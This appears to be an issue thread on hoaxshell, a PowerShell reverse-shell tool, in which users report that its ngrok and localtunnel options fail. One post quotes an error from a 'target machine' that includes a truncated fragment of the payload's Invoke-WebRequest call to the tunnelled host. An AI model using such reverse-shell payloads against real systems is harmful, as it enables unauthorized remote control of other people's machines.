Not working with ngrok

[HussHemAG]

Hello, when I run the command sudo python3 hoaxshell.py -ng,
I get the following error:
[Debug] Failed to initiate tunnel. Possible cause: You have a tunnel agent session already running in the bg/fg.

[YimuQrrr]

Yes, I opened a separate window to execute
ngrok http 8080

ngrok is working properly
But when I close ngrok
Execute
sudo python3 hoaxshell.py -ng

Prompt
[Debug] Failed to initiate tunnel. Possible cause: You have a tunnel agent session already running in the bg/fg.

Execute
sudo python3 hoaxshell.py -lt

It works properly

But on the target machine, it will prompt

Invoke-WebRequest :
504 Gateway Time-out
504 Gateway Time-out
nginx/1.17.9
At line:1 char:78
+ ... ttps://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/85e5c920 -He ...
+ approximately ResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand